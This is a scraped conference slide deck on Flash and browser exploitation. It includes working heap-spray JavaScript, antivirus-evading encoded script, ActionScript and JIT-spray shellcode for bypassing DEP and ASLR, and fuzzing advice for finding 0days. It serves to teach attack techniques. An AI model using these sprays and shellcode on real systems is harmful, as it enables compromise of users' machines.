Flash Exploit

Similar documents
ROP_bamboofox.key

学习MSP430单片机推荐参考书

ebook60-13

(Microsoft Word - 11\244T\246\342\277\337\260l\302\334.doc)

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

Microsoft Word - 正文部分.doc

(A)3 4 (B)5 6 (C)7 9 (D)10 2 (E) (A) (B) (C) (D) (E) ( ) ( ) ( ) (A) (B) (C) (D) (E) (A) (B) (C) (D) (E). (A) (B) (C) (D) (E). (A) (B) (C) (D) (

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

untitled

《將進酒》

21 flash

2012/07/01 陈 春 华 老 师 参 加 国 家 级 青 年 教 师 企 业 实 践 2012/07/03 20 名 教 师 前 往 12 家 企 事 业 单 位 短 期 实 践 2012/07/16 全 国 示 范 校 内 涵 建 设 暨 专 业 建 设 培 训 交 流 会 2012/07

13 根 据 各 种 网 络 商 务 信 息 对 不 同 用 户 所 产 生 的 使 用 效 用, 网 络 商 务 信 息 大 致 可 分 为 四 级, 其 中 占 比 重 最 大 的 是 ( A ) A 第 一 级 免 费 信 息 B 第 二 级 低 收 费 信 息 C 第 三 级 标 准 收 费

Ctpu

Microsoft PowerPoint - XCon2010_win7_cn.ppt [兼容模式]

箫.doc

海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 信 XC 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路

Microsoft Word - 鄂卫办函[2009]64号.doc

全宋词1

& ((& ) ((

Epson

广 东 省 高 等 职 业 教 育 品 牌 专 业 建 设 方 案 ( 惠 州 城 市 职 业 学 院 _ 电 子 商 务 专 业 ) 目 录 一 建 设 目 标... 4 ( 一 ) 总 体 目 标... 4 ( 二 ) 具 体 目 标... 4 二 实 施 方 案... 5 项 目 一 全 面

李 老 他 自 己 却 老 是 自 称 科 员, 老 说 我 李 科 员 怎 样 怎 样, 倒 好 像 这 是 一 个 值 得 他 夸 耀 的 什 么 官 衔 一 样 他 是 我 们 这 个 衙 门 里 资 格 最 老 的 科 员, 他 自 己 却 说 是 这 个 衙 门 里 最 没 有 出 息 的

untitled

Adobe® Flash® 的 Adobe® ActionScript® 3.0 程式設計

CX-P導入ガイド

ME3208E2-1.book

目 录

CC213

<4D F736F F D20A5C1B6A1B3E0C2A7B2DFAB55A4B6B2D02E646F63>

Microsoft PowerPoint - ch08_1.ppt

中華民國一 一年圖書館年鑑 目 次 中央法規 視覺功能障礙者電子化圖書資源利用辦法 訂定 臺灣地區公私立公共圖書館輔導辦法 撤銷廢止 360 地方自治法規 臺南市立圖書館組織規程

培训教材封面.doc

Enrolment

工程设计资质标准

4 办 公 室 工 作 实 务 ( 第 3 版 ) 第 1 单 元 单 位 组 织 的 有 效 运 作 离 不 开 办 公 室 工 作 情 景 案 例 左 景 被 宏 达 商 业 集 团 公 司 录 用 为 秘 书, 试 用 期 间, 只 能 在 办 公 室 打 杂, 有 时 工 作 稍 有 差 错

nbqw.PDF

nbqw.PDF

2014年国家基金申请书撰写注意事项.doc

<41B9C9BFAABBA7B4FAC0EDCDF8B5E3D2BBC0C0B1ED2E786C73>

標準 BIG 中文字型碼表 A 0 9 B C D E F 一 乙 丁 七 乃 九 了 二 人 儿 入 八 几 刀 刁 力 匕 十 卜 又 三 下 丈 上 丫 丸 凡 久 么 也 乞 于 亡 兀 刃 勺 千 叉 口 土 士 夕 大 女 子 孑 孓 寸 小 尢 尸 山 川 工 己 已 巳 巾 干 廾

Microsoft Word - n doc

Microsoft Word - VL880manual-v88313-tc3.doc

Microsoft Word - xiuxinduanyu-2-doc.doc

FY.DOC

Abstract arm linux tool-chain root NET-Start! 2

2

Microsoft Word - connect_pro_7_release_notes_v3_handoff_to_loc.doc

(➂)11. 炎 炎 夏 日, 即 使 下 起 滂 沱 大 雨, 都 消 除 不 了 令 人 心 煩 的 暑 氣 這 句 話 主 要 想 表 達 什 麼? ➀ 夏 日 裡 經 常 下 著 滂 沱 大 雨, 令 人 心 煩 ➁ 下 著 滂 沱 大 雨 的 日 子, 可 以 消 除 暑 氣 ➂ 夏 日

範本檔

高雄市立五福國民中學九十四學年度第一學期第三次段考二年級本國語文學習領域試題卷

人 物 春 秋 杨 永 泰 将 其 削 藩 策 略 概 括 为 : 以 经 济 方 法 瓦 解 冯 玉 祥 的 第 二 集 团 军, 以 政 治 方 法 解 决 阎 锡 山 的 第 3 集 团 军, 以 军 事 方 法 解 决 李 宗 仁 的 第 四 集 团 军, 以 外 交 方 法 对 付 张 学

台北老爺校外實地參訪結案報告

糖尿病食譜


Microsoft Word 養生與保健_中山大學_講義


萬里社區老人健康照護手冊

Microsoft Word - 強制汽車責任保險承保及理賠作業處理辦法 doc

Microsoft Word - 06.Understanding of Pregnancy and Birth.doc

附 件 一 : 办 理 集 中 式 银 期 转 账 业 务 网 点 名 单 序 号 地 区 网 点 名 称 地 址 联 系 人 电 话 23 工 商 银 行 安 徽 省 铜 陵 百 大 支 行 铜 陵 市 长 江 东 路 50 号 鲁 桂 珍 工 商 银 行 安 徽

2. 二 年 級 吳 毓 秀 老 師 : 感 謝 午 餐 公 司 平 時 均 能 準 時 送 餐, 但 希 望 能 不 要 使 用 加 工 品, 且 學 生 反 映 希 望 能 多 加 蛋 品 的 食 物 3. 三 年 級 柯 阿 青 老 師 : 雞 肉 有 血 水 味, 請 午 餐 公 司 能 調

,,,,,,, (,, ),,,,,,,,,,,,,,, ,,, 4 11,, ( ),,,, ( ), :, ( ),,, 1995, 66 ; ( ),, 1996, , 3-4,,

Microsoft Word - 全華Ch4Ans.doc

Microsoft Word - “调戏”反遭“反调戏”—记Visual Toolbar 的破解过程.doc

<55342D323637CBB5C3F7CAE92E786C73>

MSAC-EX1

Transcription:

Nanika naninb@gmail.com

魔術

薩斯頓三原則 表演之前絕對不透漏接下來的表演內容 不在同一時間 地點對相同的觀眾變同樣的表演 2 次以上 表演過後, 絕不向觀眾透露表演的秘密

Windows 防護弱點機制 /GS SafeSEH DEP ASLR

突破

破解魔術手法

一般弱點利用

Fish 應用範圍

成功魔術的需求

手法 ( 弱點利用 )

Why Spraying Not control precisely Not control Universal 12

NOP NOP 0x0c0c0c0c OR AL,0C 0x0d0d0d0d 0d OR EAX,0D0D0D0D 0x0a0a0a0a OR CL,BYTE PTR DS:[EDX] 0x0b0b0b0b OR ECX,DWORD PTR DS:[EBX] 0x0c0b0c0b OR AL,0B 0x14141414 ADC AL,14. 13

Not control precisely esi=0x41414141 mov eax,esi mov ecx,[eax] call [ecx+0x8] Offset 0x10 MEM 0x01140000 AAAAAAAAAAAAAAAA Offset 0x20 MEM 0x01140010 BBBBBBBBBBBBBBBBB 0a 0b 0c 0d 14

Not control esi=0x0c374512 not control mov eax,esi mov ecx,[eax]//no access call [ecx+0x8] 0x0c374512 0b 0b 0c 0d 15

Universal XP Stack overflow 0x0013ffac//cookie 0x0013ffb0//ret 0x0013ffc0 0x0013ffe0//seh 0x0013fff0 0x0014000//no access 2000 Stack overflow 0x0013ffa0 0x0013ffbc//cookie 0x0013ffc0//ret 0x0013ffe0 0x0013fff0//seh 0x0014000//no access 16

Classic javascript heap spraying var heapspraytoaddress = 0x12202020;//var payloadcode = unescape("%ue8fc%u0044.. ); var heapblocksize = 0x100000; var payloadsize = payloadcode.length * 2; var sprayslidesize = heapblocksize - (payloadsize+0x38); var sprayslide = unescape("%u0c0c%u0c0c"); sprayslide = getsprayslide(sprayslide,sprayslidesize); heapblocks = (heapspraytoaddress - 0x10C000)/heapBlockSize; memory = new Array(); for (i=0;i<heapblocks;i++) {memory[i] = sprayslide + payloadcode;} function getsprayslide(sprayslide, sprayslidesize) {while (sprayslide.length*2<sprayslidesize) } {sprayslide += sprayslide;} sprayslide = sprayslide.substring(0,sprayslidesize/2); return sprayslide; 17

JavaScript Encode <html><body><button id="helloworld" onclick="blkjbdkjb();" STYLE="DISPLAY:NONE"></button></script><script language="javascript">var strtmp = String.fromCharCode(102,117,110,99,116,105,111,110,32,101,1 01,106,101,101,102,101,40,41,123,118,97,114,32,115,61,117,1 10,101,115,99,97,112,101,40,34,37,117,48,101,101,98,37,117, 52,98,53,98,37,117,99,57,51,51,37,117,102,54,98,49,37,117,51,52,56,48,37,117,101,101,48,98,37,117,102,97,101,50,37,117,4 8,53,101,98,37,117,101,100,101,56,37,117,102,102,102,102,37,117,48,55,102,102,37,117,101,101,52,97,37,117,101,101,101, 101,37,117,56,97,98,49,37,117,100,101,52,102,37,117,101,101,101,101,37,117,54,53,101,101,37,117,101,50,97,101,37,117,5 7,101,54,53,37,117,52,51,102,50,37,117,56,54,54,53,37,117,54,53,101,54,37,117,56,52,49,57,37,117,98,55,101,97,37,117,97, 97,48,54,37,117,101,101,101,101,37,117,48,99,101,101,37,117,56,54,49,55,37,117,56,48,56,49,37, );var ee = eval;ee(strtmp); 老梗還拿出來講 18

Flash 當防毒軟體針對 JavaScript 做了動態語意分析之後, 使用各種 Encode 技術通常無法欺騙防毒軟體, 最多只能作到欺騙分析人員增加分析人的作業時間 Flash 使用者非常的普及, 任何有安裝瀏覽器的都有安裝 Flash JavaScript 做得到的 Flash 大部分都做得到 19

防護目前最頭痛問題 沒有防不了的東西 不知道的東西防不了 似好似壞游走邊緣的

Flash Spraying public function MainTimeline() {addframescript(0, frame1);return;}// end function function frame1(){ shellcode = new ByteArray(); shellcode.writebyte(144); b = "\f\f\f\f";a = "\x0d\x0d\x0d\x0d"; while (b.length < 1048576-(shellcode.length+64))//2097152)//1048576) { b = b + a;} bytearr = new ByteArray(); gy = new ByteArray(); gy.writemultibyte(b, "iso-8859-1"); bytearr.writemultibyte(gy, "iso-8859-1"); bytearr.writebytes(shellcode, 0,shellcode.length); gy1 = new ByteArray(); gy1.writebytes(bytearr, 0,byteArr.length); gy2 = new ByteArray(); gy2.writebytes(bytearr, 0,byteArr.length); return; 21

Why Not To Do This? var c=0; var gy1:array = new Array(); while (c < 128)//2097152)//1048576) { gy1[c] = new ByteArray(); gy1[c].writebytes(bytearr,0,bytearr.length); c=c+1; } 22

Flash Spraying can not bypass DEP 23

JIT(BlackHat DC 2010) var y=(0x11223344^0x44332211^0x44332211 ); 0x909090:35 44332211 XOR EAX, 11223344 0x909095:35 44332211 XOR EAX, 11223344 0x90909A:35 44332211 XOR EAX, 11223344 0x909091:44 INC ESP 0x909092:3322 XOR ESP,[EDX] 0x909094:1135 44332211 ADC [11223344],ESI 0x90909A:35 44332211 XOR EAX, 11223344 24

var ret=(0x3c909090^0x3c909090^0x3c909090^0x3c909090^ ); 0x1A1A0100: 359090903C XOR EAX, 3C909090 0x1A1A0105: 359090903C XOR EAX, 3C909090 0x1A1A010A: 359090903C XOR EAX, 3C909090 0x1A1A010F: 359090903C XOR EAX, 3C909090 0x1A1A0101: 90 NOP 0x1A1A0102: 90 NOP 0x1A1A0103: 90 NOP 0x1A1A0104: 3C35 CMP AL, 35 0x1A1A0106: 90 NOP 0x1A1A0107: 90 NOP 0x1A1A0108: 90 NOP 0x1A1A0109: 3C35 CMP, AL 35 25

JIT Shellcode mov edi, 0x7946c61b mov al,0x1b push al CMP AL,0x35 inc esp inc esp inc esp CMP AL,0x35 inc esp inc esp NOP CMP AL,0x35 mov al,0xc6 push al CMP AL,0x35 inc esp inc esp inc esp CMP AL,0x35 inc esp inc esp NOP CMP AL,0x35 mov al,0x46 push al CMP AL,0x35 27

0347006A D9D0 FNOP 0347006C 54 PUSH ESP 0347006D 3C 35 CMP AL,35 0347006F 58 POP EAX 03470070 90 NOP 03470071 90 NOP 03470072 3C 35 CMP AL,35 03470074 6A F4 PUSH -0C 03470076 59 POP ECX 03470077 3C 35 CMP AL,35 03470079 01C8 ADD EAX,ECX 0347007B 90 NOP 0347007C 3C 35 CMP AL,35 0347007E D930 FSTENV DS:[EAX] 0x1A1A0110: 803F6E CMP [EDI], 'n' 0x1A1A0113: 6A35 PUSH 35 0x1A1A0115: 75EF short jnz 28

Decoder flow 0x1A1A0101: Decoder 0x1A1A0102: Decoder 0x1A1A0103: Decoder 0x1A1A0104: 3C35 CMP AL, 35 0x1A1A0106: Decoder 0x1A1A0107: Decoder 0x1A1A0108: Decoder 0x1A1A0109: 3C35 CMP, AL 35 0x1A1A010A: Magic 0x1A1A010B: Magic 0x1A1A010C: Magic 0x1A1A010D: 3C35 CMP, AL 35 0x1A1A010E: Encode Shellcode 0x1A1A010E: Encode Shellcode 0x1A1A010E: Encode Shellcode 0x1A1A010D: 3C35 CMP, AL 35 29

ALSR(Address space layout randomization) 30

JIT Spraying(1) function pageloadex() { var ldr = new Loader(); var url = "jit_s0.swf"; var urlreq = new URLRequest(url); ldr.load(urlreq);childref = addchild(ldr); } function pageload() { for(var z=0;z<2400;z++){pageloadex();} } function Loadzz1() { Security.allowDomain("*"); pageload(); } 31

WinXP Vista Win7 32

Bypass ASLR 33

JIT Spraying(2) <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v ersion=6,0,29,0" width="0" height="0" id="myflash"> <param name="movie" value="bb.swf"> <param name="quality" value="high"> <param name="fullscreen" value="true"><param name="scale" value="exactfit"> <embed src="bb.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/xshockwave-flash" width="800" height="600"> </embed> </object> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#v ersion=6,0,29,0" width="0" height="0" id="myflash"> <param name="movie" value="bb2.swf"> <param name="quality" value="high"> <param name="fullscreen" value="true"><param name="scale" value="exactfit"> <embed src="bb2.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/xshockwave-flash" width="800" height="600"> </embed> </object> 34

WinXP & Vista 35

WinXP 36

Vista 37

PDF & Flash Acrobat 9.2 default Enable DEP Acrobat default support Flash Adobe: Turn off JavaScript in PDF Reader 38

WinXP PDF & One Big Flash 39

WinXP Vista Win7 40

Include Flash 41

創造 ( 尋找新的魔術 - 0day)

0day 自己找 等別人寄 收到也不知道 什麼是 0day 可以吃嗎?

第一等人, 是創造機會的人 第二等人, 是發現機會的人 第三等人, 是等待機會的人 第四等人, 是錯失機會的人 您是第幾等的人呢??

要怎樣尋找 0day 測試 測試 測試 不斷測試 天公疼憨人

http://rootkit.tw/blog/?p=173 0x66->0x40

收集大量範本 需要大量機器資源 範本丟入測試 自由活動 定時觀察報告

有誰在自動測試弱點? MS O 安全研究員 O 防毒? 地下駭客 O 政府? 軟體開發廠商?????

要怎樣收穫就要怎樣栽 不要守株待兔 安全還是靠自己最好 有興趣加入或贊助自動化測試弱點計畫來信寄到 naninb@gmail.com

Thank you Q & A